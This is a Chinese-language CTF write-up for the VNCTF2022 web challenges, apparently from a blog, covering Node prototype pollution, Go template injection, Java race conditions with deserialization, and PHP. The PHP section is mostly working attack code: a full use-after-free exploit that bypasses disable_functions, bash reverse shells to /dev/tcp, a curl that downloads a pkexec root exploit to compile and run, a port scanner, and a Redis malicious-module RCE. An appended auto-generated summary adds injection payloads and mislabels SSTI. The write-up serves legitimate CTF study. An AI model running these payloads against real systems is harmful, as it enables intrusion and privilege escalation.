[BUUCTF][VNCTF2022公开赛]web wp

本文探讨了Node.js原型链污染漏洞CVE-2022-21824,展示了如何通过原型链操作执行代码,并利用`console.table`和文件读取功能。涉及的技术包括SSTI(Source-to-Image)、flag获取、代码注入和提权尝试。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

GameV4.0

image-20220212102026276

base64解码即可

newcalc0

镜像为node:lts-alpine,package.json全部为最新包

const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
  const e = req.body.e;
  if (!e) {
    res.send("wrong?");
    return;
  }
  try {
    res.send(vm.run("module.exports="+e)?.toString() ?? "no");
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

app.use("/source", (req, res) => {
  let p = req.query.path || "/src/index.js";
  p = path.join(path.resolve("."), path.resolve(p));
  console.log(p);
  res.sendFile(p);
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

考察原型链污染,利用CVE-2022-21824

https://nodejs.org/zh-cn/blog/vulnerability/jan-2022-security-releases/

payload

console.table([{a:1}],['__proto__'])

之后再访问/flag即可

console.tableAPI的作用是将数据以表格的形式显示。

console.table 的代码中:lib/internal/console/constructor.js

// tabularData 是第一个参数 [{x:1}]
// properties 是第二个参数 ["__proto__"]
const map = ObjectCreate(null);
let hasPrimitives = false;
const valuesKeyArray = [];
const indexKeyArray = ObjectKeys(tabularData);

for (; i < indexKeyArray.length; i++) {
  const item = tabularData[indexKeyArray[i]];
  const primitive = item === null ||
      (typeof item !== 'function' && typeof item !== 'object');
  if (properties === undefined && primitive) {
    hasPrimitives = true;
    valuesKeyArray[i] = _inspect(item);
  } else {
    const keys = properties || ObjectKeys(item);
	
    // for of 的时候 key 是 __proto__ 
    for (const key of keys) {
      if (map[key] === undefined)
        map[key] = [];
      
      // !ObjectPrototypeHasOwnProperty(item, key) 成立
      if ((primitive && properties) ||
           !ObjectPrototypeHasOwnProperty(item, key))

        // 因此 map[__proto__][0] 是空字串
        map[key][i] = '';
      else
        map[key][i] = _inspect(item[key]);
    }
  }
}

gocalc0

非预期

base64解码两次即可

image-20220214011443436

预期

SSTI得到源码

{{.}}

源码

package main
import (
	_ "embed"
	"fmt"
	"os"
	"reflect"
	"strings"
	"text/template"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
	E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
	eval := goval.NewEvaluator()
	result, err := eval.Evaluate(e.E, nil, nil)
	if err != nil {
		return "", err
	}
	t := reflect.ValueOf(result).Type().Kind()

	if t == reflect.Int {
		return fmt.Sprintf("%d", result.(int)), nil
	} else if t == reflect.String {
		return result.(string), nil
	} else {
		return "", fmt.Errorf("not valid type")
	}
}

func (e Eval) String() string {
	res, err := e.Result()
	if err != nil {
		fmt.Println(err)
		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {
		his = ""
	} else {
		his = session.Get("history").(string)
	}

	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
	if err != nil {
		fmt.Println(err)
		c.String(500, "internal error")
		return
	}
	if err := t.Execute(c.Writer, map[string]string{
		"s0uR3e": source,
	}); err != nil {
		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {
		render(c)
	})

	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("FLAG", os.Getenv("FLAG"))
		session.Save()
		c.String(200, "flag is in your session")
	})

	r.POST("/", func(c *gin.Context) {
		session := sessions.Default(c)

		var his string

		if session.Get("history") == nil {
			his = ""
		} else {
			his = session.Get("history").(string)
		}

		eval := Eval{}
		if err := c.ShouldBind(&eval); err == nil {
			his = his + eval.String() + "

EXP:

package main

import (
	_ "embed"
	"fmt"
	"os"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
)

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8088"
	}
	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))
	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		c.String(200, session.Get("FLAG").(string))
	})
	r.Run(fmt.Sprintf(":%s", port))
}

在本地启动并添加session值为题目中session,访问/flag就可输出

image-20220214114550364

easyJava

文件读取

/file?url=file:///etc/passwd
/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes

在java的环境下,netdoc协议可以代替file协议,在JDK 9之后,netdoc协议将会失效。

读取文件后进行反编译

这里推荐两个在线反编译网站

http://www.javadecompilers.com
https://www.decompiler.com/

HelloWorldServlet.java

package servlet;

import javax.servlet.ServletOutputStream;
import util.SerAndDe;
import java.util.Base64;
import java.io.IOException;
import util.Secr3t;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.ServletException;
import entity.User;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;

@WebServlet(name = "HelloServlet", urlPatterns = { "/evi1" })
public class HelloWorldServlet extends HttpServlet
{
    private volatile String name;
    private volatile String age;
    private volatile String height;
    User user;
    
    public HelloWorldServlet() {
        this.name = "m4n_q1u_666";
        this.age = "666";
        this.height = "180";
    }
    
    public void init() throws ServletException {
        this.user = new User(this.name, this.age, this.height);
    }
    
    protected void doGet(final HttpServletRequest req, final HttpServletResponse resp) throws ServletException, IOException {
        final String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }
        if (Secr3t.check(this.name)) {
            this.Response(resp, "no vnctf2022!");
            return;
        }
        if (Secr3t.check(this.name)) {
            this.Response(resp, "The Key is " + Secr3t.getKey());
        }
    }
    
    protected void doPost(final HttpServletRequest req, final HttpServletResponse resp) throws ServletException, IOException {
        final String key = req.getParameter("key");
        final String text = req.getParameter("base64");
        if (Secr3t.getKey().equals(key) && text != null) {
            final Base64.Decoder decoder = Base64.getDecoder();
            final byte[] textByte = decoder.decode(text);
            final User u = (User)SerAndDe.deserialize(textByte);
            if (this.user.equals((Object)u)) {
                this.Response(resp, "Deserialize\u2026\u2026 Flag is " + Secr3t.getFlag().toString());
            }
        }
        else {
            this.Response(resp, "KeyError");
        }
    }
    
    private void Response(final HttpServletResponse resp, final String outStr) throws IOException {
        final ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

Secr3t.java

package util;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;

public class Secr3t {
    private static final String Key = RandomStringUtils.randomAlphanumeric(32);
    private static StringBuffer Flag;

    private Secr3t() {
    }

    public static String getKey() {
        return Key;
    }

    public static StringBuffer getFlag() {
        Flag = new StringBuffer();
        InputStream in = null;

        try {
            in = Runtime.getRuntime().exec("/readflag").getInputStream();
        } catch (IOException var12) {
            var12.printStackTrace();
        }

        BufferedReader read = new BufferedReader(new InputStreamReader(in));

        try {
            String line = null;

            while((line = read.readLine()) != null) {
                Flag.append(line + "\n");
            }
        } catch (IOException var13) {
            var13.printStackTrace();
        } finally {
            try {
                in.close();
                read.close();
            } catch (IOException var11) {
                var11.printStackTrace();
                System.out.println("Secr3t : io exception!");
            }

        }

        return Flag;
    }

    public static boolean check(String checkStr) {
        return "vnctf2022".equals(checkStr);
    }
}

SerAndDe.java

package util;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class SerAndDe {
    private SerAndDe() {
    }

    public static byte[] serialize(Object object) {
        ObjectOutputStream oos = null;
        ByteArrayOutputStream bos = null;

        Object var4;
        try {
            bos = new ByteArrayOutputStream();
            oos = new ObjectOutputStream(bos);
            oos.writeObject(object);
            byte[] b = bos.toByteArray();
            byte[] var16 = b;
            return var16;
        } catch (IOException var14) {
            System.out.println("serialize Exception:" + var14.toString());
            var4 = null;
        } finally {
            try {
                if (oos != null) {
                    oos.close();
                }

                if (bos != null) {
                    bos.close();
                }
            } catch (IOException var13) {
                System.out.println("io could not close:" + var13.toString());
            }

        }

        return (byte[])var4;
    }

    public static Object deserialize(byte[] bytes) {
        ByteArrayInputStream bais = null;

        Object var3;
        try {
            bais = new ByteArrayInputStream(bytes);
            ObjectInputStream ois = new ObjectInputStream(bais);
            var3 = ois.readObject();
            return var3;
        } catch (IOException | ClassNotFoundException var13) {
            System.out.println("deserialize Exception:" + var13.toString());
            var3 = null;
        } finally {
            try {
                if (bais != null) {
                    bais.close();
                }
            } catch (IOException var12) {
                System.out.println("LogManage Could not serialize:" + var12.toString());
            }

        }

        return var3;
    }
}

User.java

package entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable {
    private String name;
    private String age;
    private transient String height;

    public User(String name, String age, String height) {
        this.name = name;
        this.age = age;
        this.height = height;
    }

    public String getName() {
        return this.name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getAge() {
        return this.age;
    }

    public void setAge(String age) {
        this.age = age;
    }

    public String getHeight() {
        return this.height;
    }

    public void setHeight(String height) {
        this.height = height;
    }

    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        this.height = (String)s.readObject();
    }

    public boolean equals(Object obj) {
        if (obj == null) {
            return false;
        } else if (this == obj) {
            return true;
        } else if (obj instanceof User) {
            User user = (User)obj;
            return user.getAge().equals(this.age) && user.getHeight().equals(this.height) && user.getName().equals(this.name);
        } else {
            return false;
        }
    }

    public String toString() {
        return "User{name='" + this.name + '\'' + ", age='" + this.age + '\'' + ", height='" + this.height + '\'' + '}';
    }
}

UrlUtil.java

package util;

import java.io.*;
import java.net.*;

public class UrlUtil
{
    private UrlUtil() {
    }
    
    public static InputStream visit(final String url) throws Exception {
        final URL file = new URL(url);
        final InputStream inputStream = file.openStream();
        return inputStream;
    }
}

FileServlet.java

package servlet;

import javax.servlet.annotation.*;
import javax.servlet.http.*;
import util.*;
import org.apache.tomcat.util.http.fileupload.*;
import java.io.*;
import javax.servlet.*;

@WebServlet(name = "FileServlet", urlPatterns = { "/file" })
public class FileServlet extends HttpServlet
{
    protected void doGet(final HttpServletRequest req, final HttpServletResponse resp) throws ServletException, IOException {
        final String url = req.getParameter("url");
        if (url != null) {
            InputStream responseContent = null;
            try {
                responseContent = UrlUtil.visit(url);
                IOUtils.copy(responseContent, (OutputStream)resp.getOutputStream());
                resp.flushBuffer();
            }
            catch (Exception e) {
                e.printStackTrace();
            }
            finally {
                responseContent.close();
            }
        }
        else {
            this.Response(resp, "please input a url");
        }
    }
    
    private void Response(final HttpServletResponse resp, final String outStr) throws IOException {
        final ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

条件竞争

这里doGet方法中对于Secr3t.check(this.name)判断是矛盾的,我们需要通过竞争绕过第一个判断进入第二个判断

参考y4ggServlet的线程安全问题

竞争脚本:

1.py

import requests
host = "http://f8c12dd4-0451-43a4-9ce9-174f307b36ea.node4.buuoj.cn:81/"
while True:
 r = requests.get(host+"evi1?name=asdqwer")
 r.encoding = "utf-8"
 if r.text.find("The Key is")!=-1:
 	print(r.text)
 if(r.text.replace(" ","")!=""):
 	print(r.text)

2.py

import requests
host = "http://f8c12dd4-0451-43a4-9ce9-174f307b36ea.node4.buuoj.cn:81/"
while True:
 r = requests.get(host+"evi1?name=vnctf2022")
 r.encoding = "utf-8"
 if r.text.find("The Key is")!=-1:
 	print(r.text)

得到WugsKpveRkl7BmSOTZQW3ympuXLKNAL3

image-20220214122116033

反序列化

package easyjava;

import easyjava.entity.User;
import easyjava.entity.User;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import easyjava.util.SerAndDe;

public class Ser {
    public static void main(String[] args) throws IOException {
        User user = new User("m4n_q1u_666","666","180");
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(user);

        byte[] ser = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String encodedText = encoder.encodeToString(ser);
        System.out.println(encodedText);
        User user2 = (User) SerAndDe.deserialize(ser);
        System.out.println(user2);
    }
}

注意:transient关键字修饰的变量⽆法直接反序列化,所以在⽣产byte的时候需要重写⼀下writeObject,否则会将⾃⼰的User对象的height值为空。

User.java

private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
 s.defaultWriteObject();
 //强制序列化name
 s.writeObject(this.height);
}

最后利用得到的key和base64发包即可

InterestingPHP

进入有个一句话木马,进行信息搜集

发现phpinfo被ban,利用其他方式来读取配置信息

var_dump(get_cfg_var("disable_functions"));
var_dump(get_cfg_var("open_basedir"));
var_dump(ini_get_all());

解法1

尝试bypass

EXP

由于脚本中fwrite 被禁了,改成 fputs

<?php
pwn('uname -a');

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $cmd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fputs($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fputs($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}
?>

请求头

POST /?exp=eval($_POST[1]); HTTP/1.1
Host: 937965cc-a80e-4686-b765-d1d2077cf02d.node4.buuoj.cn:81
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Length: 6913

------WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Disposition: form-data; name="1"

image-20220214140523714

成功执行命令,但拿flag权限不够,反弹shell

bash -c 'exec bash -i &>/dev/tcp/VPS_IP/PORT <&1'

image-20220214140947530

SUID 提权
find / -perm -u=s -type f 2>/dev/null

image-20220214141958345

这里用近期爆出的pkexec提权漏洞

先下载c文件

curl http://47.109.17.144:39543/poc.c > /tmp/snakin.c
gcc snakin.c -o snakin
./snakin

image-20220214143526998

解法2

利用scandir()探测目录文件,发现secret.rdb

image-20220214143915921

下载下来发现是一个redis的数据备份文件,猜测密码为ye_w4nt_a_gir1fri3nd

但发现端口并不是6379,所以这里需要探测一下端口

<?php
highlight_file(__FILE__);
# Port scan
for($i=0;$i<65535;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}
for($i=0;$i<65535;$i++) {
  $t=file_get_contents('http://127.0.0.1:'.$i);
  if(!strpos(error_get_last()['message'], "Connection refused")) {
    var_dump($i);
  }
}

传入

/?exp=eval(file_put_contents("a.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==

扫到了80,8888端口

image-20220214175041658

想到redis主从复制RCE,先利用file_put_contents写so文件

由于file_get_contents被ban,使用CURL来加载so文件

import requests

url = "http://8ec6d21f-173b-438e-a82c-e63de72956ab.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
pay = "http://ip/exp.so"
payload = '''
      function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);
            curl_close($ch);
            file_put_contents("exp.so",$result);
      }

      Curl("''' + pay + '''");
'''.strip()

data = {
    0: payload
}
r = requests.post(url, data, headers=headers).text
print(r)

再反弹shell

import base64
import requests

url = "http://8ec6d21f-173b-438e-a82c-e63de72956ab.node4.buuoj.cn:81/?exp=eval(base64_decode($_POST[0]));"
payload = '''
        $redis = new Redis();
        $redis->connect('127.0.0.1',8888);
        $redis->auth('ye_w4nt_a_gir1fri3nd');
        $redis->rawCommand('module','load','/var/www/html/exp.so');
        $redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/ip/39543 <&1'");
'''
payload=base64.b64encode(payload.encode(encoding="utf-8"))
data = {
    0: payload
}
r = requests.post(url, data=data).text
print(r)

image-20220214191932852

之后发现权限不够,同样方式提权即可

参考文章:

https://blog.csdn.net/jvkyvly/article/details/122913401

https://blog.m1n.me/2022/02/13/VNCTF2022-Web-WP/

https://blog.huli.tw/2022/02/08/what-i-learned-from-dicectf-2022/

### BUUCTF Web 题目 Writeup #### SQL 注入攻击中的堆叠注入技巧 在处理SQL注入漏洞时,堆叠注入是一种常见的技术。具体来说,在给定场景中,通过向服务器发送恶意构造的HTTP请求来获取数据库结构信息。例如,为了查询数据库名称: ```sql 1' UNION SELECT NULL, version() -- ``` 当进一步探索表名时,可以利用以下方法绕过简单的过滤机制[^1]。 对于更复杂的过滤条件,比如`from`关键字被加入黑名单的情况,则需要更加巧妙的方法去规避这些限制。一种可能的方式是使用子查询或者其他不涉及敏感关键词的技术实现相同功能。 #### 利用命令注入读取文件内容 针对存在命令注入缺陷的应用程序,可以通过精心设计的有效载荷(payload)执行任意操作系统指令。如下面的例子所示,它展示了如何通过修改URL参数并结合Linux shell工具链(`echo`, `tr`, 和 `cat`)来读取特定文件的内容而不触发基于正则表达式的检测规则[^2]: ```bash /?ip=qq.com;echo$IFS$1FLAG.PHP|tr$IFS$1A-Z$IFS$1a-z|xargs$IFS$1cat ``` 这段代码的作用是以大写字母形式传递目标文件名,并将其转换成小写后再调用`cat`命令打印出来,从而成功绕过了仅识别全小写的防护措施。 #### URL编码与特殊字符替换 PHP框架对来自客户端的数据进行了预处理,这可能导致原始输入发生变化。了解这种行为有助于理解为何某些Payload能够生效而另一些却不行。特别是关于空白符和其他控制字符是如何被解释和存储的知识点非常重要。例如,空格可能会变为下划线或其他符号;NULL字节(%00)也可能引起意外的结果。因此,在构建测试案例之前应该充分考虑这些问题的影响[^3]. ```php <?php // 示例:展示 PHP 如何解析 URL 参数 parse_str('foo=%20bar&baz%00=fizz', $output); print_r($output); // Array ( [foo_] => bar [baz_] => fizz ) ?> ``` 以上就是一些典型的CTF竞赛中遇到的安全挑战及其解决方案概览。希望上述分析能帮助读者更好地理解和解决类似的网络安全问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值